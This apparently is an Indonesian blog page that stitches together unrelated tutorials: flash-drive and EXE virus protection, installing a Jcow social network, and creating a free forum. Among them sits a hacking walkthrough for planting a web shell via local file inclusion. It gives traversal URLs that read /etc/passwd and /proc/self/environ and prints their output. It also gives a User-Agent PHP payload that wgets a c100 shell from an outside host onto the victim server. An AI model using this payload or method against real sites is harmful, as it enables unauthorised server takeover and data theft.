Cara Melindungi Flashdisk Dari VIRUS

Cara Melindungi Flashdisk Dari VIRUS (MALWARE).

Flashdisk, bentuknya yang mungil menjadi media penyimpanan data yang paling sering digunakan. Mudah dibawa kemana-mana, mudah disimpan dan tidak membutuhkan tempat khusus untuk membawanya. Bahkan hanya dengan seutas tali flashdisk, ia akan bertengger aman di leher kita layaknya kalung 

Namun, flashdisk yang memiliki karakter CS kuadrat alias colok sana colok sini sangat rentan tertular virus dan menularkan virus. Piyuh! so, berhati-hatilah terhadap kekurangan dari media penyimpanan data ini, bisa-bisa CPU anda yang segedhe itu dibuat teler oleh flashdisk yang mungil dan imut kerena infeksi virus yang dibawanya  

So, bagaimana cara mencegah flashdisk Anda agar tidak tertular virus dan menjadi sarang virus? Mari kita belajar komputer online tips mudah cara melindungi flashdisk dari virus. Inilah tips komputernya :

LANGKAH SINGKAT :

1. Buat folder autorun.inf di flashdisk
2. Buat file dengan karakter unik di folder autorun.inf

LANGKAH DETAIL :

1. Buatlah sebuah folder dengan nama “autorun.inf” (tanpa kutip) dalam flashdisk.
2. Masuklah folder autorun.inf tersebut kemudian buatlah file dari notepad dengan cara klik kanan di tempat kosong pilihNew pilih Text Document dan berilah nama sesuka Anda, misal coba.txt
3. Bukalah program CHARACTER MAP dengan cara masuk START kemudian ALL PROGRAMS, ACCESORIES, SYSTEM TOOLS, dan CHARACTER MAP.

4. Setelah CHARACTER MAP terbuka, pilih font yang berakhiran Unicode, misal Arial Unicode. Scroll kebawah sampai terlihat huruf-huruf unik seperti tulisan China.

5. Pilih 5 atau lebih karakter atau huruf China yang Anda inginkan, klik dua kali tiap kali Anda memilihnya. Setelah selesai klik tombol Copy.
6. Rubahlah nama file coba.txt dengan karakter unik pada step 5 tadi dengan cara kembalilah ke flashdisk Anda, masuklah ke folder autorun.inf, klik kanan pada filecoba.txt, pilih rename, kemudian tekan secara bersama-sama Ctrl+V. (Jika keluar karakter kotak-kotak abaikan saja)
7. Selamat, anda telah mempelajari tips mudah cara melindungi flashdisk dari virus.

Penjelasan singkat : folder Autorun.inf yang Anda buat tadi akan memblokir virus membuat file autorun.inf yang mengangkut virus. Virus yang cerdas akan berusaha menghapus folder autorun.inf, tetapi karena di dalamnya ada file dengan karakter atau tulisan unik tadi, virus tidak akan bisa menghapusnya 

Demikianlah Tips Trik Komputer tentang Cara Melindungi Flashdisk Dari Virus Tanpa Software semoga membantu Anda. Terimakasih atas kunjungan Anda, semoga menjadikan belajar komputer online kita bermanfaat 

Tanam Shell via LFI dengan Metode Proc/Self/Environ

Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas? sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :

<?system(‘wget http://r57.gen.tr/c100.txt -O shell.php’);?>

atau

<?exec(‘wget http://r57.gen.tr/c100.txt -O shell.php’);?>

lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !

Courtesy Of ilmuweb.com

Cara membuat Situs Jejaring Sosial Dengan Jcow + Themes FB

Situs Jejaring Sosial Facebook adalah salah satu situs jejaring sosial yang sangat populer, selain twiter, koprol, myspace dll.  Pada posting kali ini saya akan mengulas bagai mana menginstalasi atau membuat situs jejaring sosial sendiri dengan jcow 4.2.1. (Namun sebelum itu saya juga minta dukungannya ya untuk artikel kontes SEO yang saya ikuti yaitu "TEAK 123 best teak garden furniture manufacturer wholesale in Indonesia" dan Seandainya saya Anggota DPD RI

Jcow menyediakan CMS situs jejaring sosial, selain ada versi berbayar mereka juga mempunyai versi free. Kali ini saya menggunakan versi free “gratisan”. (Coba cek situs jejaring sosial percobaan saya ini( http://cyber-nstarks.co.cc).

Gimana, sudah tau kan gimana tampilan dan kemiripannya dengan facebook ?

Ok, sekarang lanjut ke cara membuatnya.


Pertama kita harus punya dulu script CMS Jcow (Download aja DISINI).
Lalu kita butuh juga script Theme Facebook untuk Jcow (DownloadDISINI).

Selanjutnya, siapkan file CMS tersebut untuk di Upload ke hosting kamu (bisa juga ke hosting gratisan).

• Login ke hoting anda. 

• Klik File Manager

• Upload foldernya di Public_html.

• Silakan upload Foldernya di Link Upload.

• Klik Browse Untuk memilih folder yang akan di upload.

• Tunggu proses upload hingga selesai.

• Bila telah selesai uploadnya, silakan back to home

• Nanti anda akan kembali ke File Manager. Kemudian Extract Filenya dengan cara klik Extract seperti di bawah ini. 

• Dan muncullah file-filenya. 

Setelah file Jcow terupload, lanjutkan dengan mengupload file Theme Facebook.
Upload-lah file theme Facebook tersebut ke folder Theme. (disana sudah ada theme Default, biarkan saja, jangan dihapus).

Sekarang kita buat databasenya. 

Caranya kembali ke home hosting anda. Masuk ke Mysql Database

Buat di New Database. Current Databases, MySQL Users, Add User To Database.  (Bagi yang sudah biasa nge-blog dengan Wordpress self host pasti sudah paham dengan ini), sedangkan bagi yang belum paham lebih jelasnya tanya ke webhosting anda masing-masing bagaimana cara membuat Database.

Setelah itu, lanjutkan dengan proses Installasi.


Buka link installasi situs kamu (misal http://www.situs-jcow-kamu.com/install.php).

Nanti akan muncul seperti ini


  

Anda akan melihat form instalasi. 

Isi bagian yang kosong. Lengkapi semua form-nya.

Perhatikan bahwa Jcow tidak akan membuat database secara otomatis, jadi sebelum Anda mengisi form, Anda harus memastikan bahwa database telah dibuat. (Isi dengan database yang sudah kamu buat setelah upload file tadi(sesuai data sql hosting kamu).

Setelah semuanya diisi lengkap, lanjutkan ke langkah selanjutnya.

Sebagai admin kamu dapat langsung login (Dengan Username : admin) dan Password terserah kamu mau bikin password apa.

Setelah masuk, kamu dapat melihat link "Admin CP" di sidebar. Klik saja dan kamu akan masuk ke admin panel.

Nah dari Admin panel kamu dapat mulai memodifikasi tampilan situs jejaring sosial baru kamu.

Agar mirip Facebook silahkan kamu aktifkan Theme Facebook yang sudah kamu upload di tempat hosting tadi. Caranya, dari bagian Admin Panel kamu klik Theme, lalu pilih Theme Facebook, dan klik Aktifkan.

Selanjutnya terserah kamu mau memodifikasi bagian mana lagi.

Misal, kamu ingin menambah/mengurangi batasan jumlah karakter status situs jejaring sosial Jcow
Silahkan saja bereksperiment dengan situs jejaring sosial baru kamu.




Credit : Rizki Chan

Cara membuat forum sendiri seperti kaskus, indowebster lengkap

 hmmmm, kayaknya udah lama ni nggak posting, gara-gara sibuk otak atik blog ini ampe gak tidur. hehehehehe
langsung ke pokok bahasan aja ya, sesuai dengan judul posting, saya akan ajarkan cara membuat web sendiri seperti webnya kaskus. sebenarnya ini dinamakan dengan forum, bukan web. hehehehe
mudah kok buatnya, bahkan newbie kayak saya pun bisa. langsung aja ya, cekidot…………

catatan: disini kita menggunakan server domain serta hosting darihttp://www.forumotion.com. selain gratis, juga kita di sediakan space sebesar 20mb

1.masuk ke forumotion, atau klik disini
2.klik “create a free forum”

3.pilih tema yang dikehendaki dan klik continue
 
4.isi formulir sesuai data forum yang ingin anda buat dan klik continue

5. isi password sesuai data yang anda isikan sebelumnya
6.selanjutnya akan ada konfirmasi bahwa anda sudah dapat mengakses forum yang anda buat tai
7.selamat, forum anda telah terbentuk. sekarang anda tinggal masuk ke link itu dan login sebagai admin. dan tentunya mendekorasi forum tersebut

untuk masalah dekorasi forum, akan di bahas pada postingan berikutnya. di tunggu ya

Semamat mencoba

Cara Melindungi Komputer Dari Virus

                       
Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE, dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.

Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE (search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil (atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh: c:\windows>attrib +r *.exe

Hal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN (menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut. Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda, anda bisa pilih “show all hidden files” di “folder option”.

Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau diupdate, dan akan muncul pesan error.

Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara virus merusak/merubah file, membasmi atau menghapus virus secara manual.